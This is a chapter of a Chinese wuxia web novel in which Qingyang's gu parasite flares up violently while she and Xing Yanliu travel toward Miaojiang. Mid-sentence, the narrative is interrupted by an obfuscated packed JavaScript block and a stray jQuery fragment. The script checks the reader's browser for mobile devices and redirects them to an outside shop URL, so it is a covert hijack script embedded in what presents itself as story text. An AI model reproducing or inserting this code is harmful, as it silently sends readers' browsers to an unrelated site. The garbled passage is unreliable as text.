80. 一步江湖无尽期

作品:《山外江山

    三日后,秋高气爽之时,由行烟柳拍板敲定,他要带着青炀去采风。


    “去哪?”青炀的通缉令被贴的哪都是,她现在在外面用的都是化名。


    “苗疆。”行烟柳淡定的摇了摇扇子,仿佛早已决定好了要去这里。


    青炀坐在茶楼的窗边位置,她不可置信的放下茶杯,说道:“真的吗……”


    “有人整天郁郁寡欢,我这个做兄弟的看的难受,而且,你不要自作多情,当作者的多拓展眼界也是很重的。”竹骨扇子敲了敲青炀的脑袋,行烟柳微微一笑。


    青炀明白行烟柳是为了她好,但现在机会就放在眼前,可她却打起了退堂鼓。


    行烟柳的身手算是中上,轻功和之前的自己不相上下,而自己则是经脉损毁大半,拿剑和人家过两招都不容易……


    现在行烟柳主动说可以去,如果自己还犹豫的话,那就更对不起越雪了。


    青炀想到这里,她握紧拳头,说道:“好吧,什么时候出发?”


    “一会。”行烟柳的行动力向来很强,他要做什么的话,就会极有效率的把要用的东西全都收拾好,然后塞进马车打包带走。


    这些都是他从漫长的拖稿生涯中学会的。


    金秋十月,习习凉风抚摸着树上的果实,从春日越雪被抓走到现在,青炀终于等来了去找他的机会。


    “我算了算时间,等咱们到那之后,正好能碰上当地的圣火节,那可是苗疆一年一度的大节日,想必美酒佳肴也不会少!”大富翁行烟柳坐在他的黑木马车上,得意的和青炀展示自己完美的计划。


    青炀早就和他说过掳走越雪那伙人的功力之高深,但行烟柳完全没听进去,他觉得大不了到当地雇两个打手,直到悠哉悠哉的行烟柳到了苗疆,亲眼见到了事情的严重性,才知道有多麻烦。


    不过现在的行烟柳还是很轻松的,他捏着青炀的脸让她笑一笑,年轻少女板着脸简直就是在浪费青春!


    “好了,别想那么多了,有钱能使鬼推磨,我能用钱保住你的命,那就也能用钱把越雪买回来!”财能通神,行烟柳自从有钱了之后就没再遇到挫折了。


    “这几日,我会勤加调养,为了那时候做准备。”青炀严肃的说道。


    看她这样老气横秋的,行烟柳也没办法,他倚在软垫上,干脆不理青炀,开始研究苗疆的风土人情。


    两个人都以为自己是在主动找麻烦,可人生总是这样,在没人能想得到的时间,麻烦会悄无声息的出现在他们的身边。


    两人带着车夫一路往南,就在上路的第二天的晚上,令人措手不及的变数突然发生在了青炀的身上。


    吃了晚饭过后,他们在下榻的小旅店里闲聊,青炀在上楼的时候突然眼前一暗,直挺挺的从楼梯上摔了下去。


    一个大活人突然这样,当然是十分吓人的,还在喝茶的行烟柳急忙把人打横抱起,送到了附近的医馆。


    只可惜附近没有规模较大的医馆,这小地方的大夫也不知道青炀怎么了,把了脉也没发现任何不对。


    病榻上的青炀牙关紧闭,双眼在眼皮下一转一转的,明显是陷入到了昏迷的状态,可偏偏又醒不过来。


    被送到医馆还没一盏茶的时间,青炀的呼吸逐渐变得急促,手脚也不自然的开始抽搐。


    行烟柳看的心慌,他问道:“这到底是怎么一回事,好好的人怎么会突然变成这样!”


    “脉象上没事啊,也没有发热的症状……”被问的着急的大夫在屋里团团转。


    突然,就在众人忧心忡忡之时,青炀突然睁开了眼睛,她目眦欲裂,双眼满是血丝。


    “呜……”难以言喻的痛感从青炀的大脑中传来,逼得她不得不按着自己的太阳穴,像疯了一样的来回打滚,那种好像要把她活生生撕裂的痛感一波接着一波,不断的侵蚀着青炀的精神。


    刚才还在昏迷的少女瞬间像是着魔了一样一边打滚一边痛叫,行烟柳紧着按了青炀几个穴位,可是却一点缓解的作用也没有,反而让青炀疼的尖叫出声。


    像是虐待一样,青炀的尖叫凄惨极了,她无暇顾及自己的体面,像是疯了一样的不停撞自己的头。


    痛,痛,痛!!!


    比被雁飞瑾打的那一掌还要痛千倍万倍,浑身就像是被焚化了一样,青炀活生生的被痛的尖叫哭嚎,行烟柳为了防止她再做一些危险的举动,忍着会被青炀伤害的可能,将她死死抱在怀里。


    “你这有没有麻沸散,快去煮了喂给她!”行烟柳双臂紧紧箍着青炀,他武功不算好,但对如今身体虚弱亏空的青炀本来也是能制住的,可是真正把青炀抱在怀里他才发现,怀中之人的力气像是十头牛在挣扎,让他难以继续控制她。


    脑袋里,身体里,被火烧的感觉散了之后又像是又万千只虫子在啃她的骨头一样,青炀难忍痒痛,手指忍不住用力的抓挠着胳膊。


    “你别动了!”行烟柳双眼含泪,他怒吼一声,攥住青炀的手腕让她停下动作。


    被指甲抓的出了血的胳膊看上去很吓人,而已经丧失理智的青炀还在不断的挣扎,她口中哀嚎不断,像只野兽一样,让行烟柳难过。


    行烟柳好不容易用绳子捆住了青炀,可那大夫煮的麻沸散没用,而且青炀的嘴也掰不开,在挣扎间,一碗药汤全都洒在她身上了。


    一群人折腾着,直到天蒙蒙亮的时候,青炀的身体疲累不已,这才安静了下来,缓缓睡去。


    大夫刚才尝了一下他煮的麻沸散之后也睡着了,行烟柳坐在椅子上,熬了夜的眼睛有些发红,他最终还是没能忍住,在没人醒着的时刻,一滴泪还是掉了出来。


    求哪个神拜哪个佛才能让他的亲人无病无忧?为什么他身边的人总会被伤害,他不明白,其实他谁也不想失去,母亲,族叔,青炀……


    行烟柳被青炀吓得怔怔的坐在那,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975688|193430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有眼泪在往下流。


    末了,他望着窗外渐渐升起的太阳,去打了盆水,帮青炀把脏了的脸擦了。


    少女细嫩的手上粘的全是灰,脸上也是汗泪交横,一身价值不菲的衣服在发作时被滚的褶皱不堪,行烟柳擦到一半,他深吸一口气,把剩下的泪憋回去了。


    很早之前他就明白了哭泣是没用的,可他现在没办法,对青炀的痛苦束手无策,钱如果真那么万能的话,那他为什么不能买走青炀的痛苦。


    一天一夜没合眼,行烟柳就在青炀身边守着她。


    一直到午时,青炀才醒,她头晕目眩的,睁开眼睛了好一会才看清身边的东西。


    “你……”青炀看着坐在床边靠着墙打瞌睡的行烟柳,心知肯定是自己出了什么事,才让这个一向要面子的人这样休息。


    耳畔突然传来青炀的声音,行烟柳恍然惊醒,他都不知道他睡着了,稍得休息的一双黑眼珠转过来,他轻声问道:“好些了吗?”


    “没事了……”青炀自知又给行烟柳找麻烦了,她努力的撑着身子坐起来,然后眼前一黑,栽倒在地。


    还好脸没和地面打招呼,行烟柳早有准备,一把把她抱住了。


    “你这还叫没事?我们不去什么苗疆了,现在就回医圣谷。”行烟柳担忧极了,他看着怀中人苍白的脸,那双原本娇粉的唇瓣像是枯树叶一样,死气沉沉的。


    “我没事,只不过是……噬命蛊发作了而已。”青炀早有准备这东西会作怪,医圣谷的人也提醒她了,噬命蛊在她体内就是个隐患,还好这次发作的时候没卡在什么节骨眼上。


    “总会有办法的,医圣谷那群人一定会研究出解决的方法,青炀,你听我的,咱们走吧。”行烟柳珍惜的捧着青炀的脸,这是他自己选择的亲人,他不想再失去了。


    “他们也救不了我,咱们在那待了半年,要是能取出蛊虫的话,那他们早就做了。”


    医圣谷的人对奇毒异伤都很狂热,若不是真的没办法,那这小小噬命蛊早就被他们拿走当宝贝了。


    “我没事,你相信我,这东西只能在苗疆找到解法,哈哈,现在就算不想去也得去了。”青炀故作开朗,干笑两声,可能这就是命吧,她是一定得去那的。


    “……好,这东西不宜拖延,我们现在就走。”噬命蛊发作之后,青炀本就虚弱的身体更是萎靡,行烟柳将她打横抱起,直接抱着她回了马车上。


    回到车上之后青炀蜷在厚厚的软垫上,她喝着买来的药汤,苦涩的滋味从舌尖漫到心上,这么长时间以来,她一直都把雁飞龙和越雪的安危挂在心上,这两件事已经变成了她肩膀上担的责任,可她现在却没办法实现。


    心上的苦痛比身体上的更折磨人,马车里静悄悄的,只有车轮碾过大道的声音,行烟柳坐在青炀的边,一双纤长的手正在为青炀编着头发。


    没人先开口说话,绝望正在他们的头顶摇摇欲坠。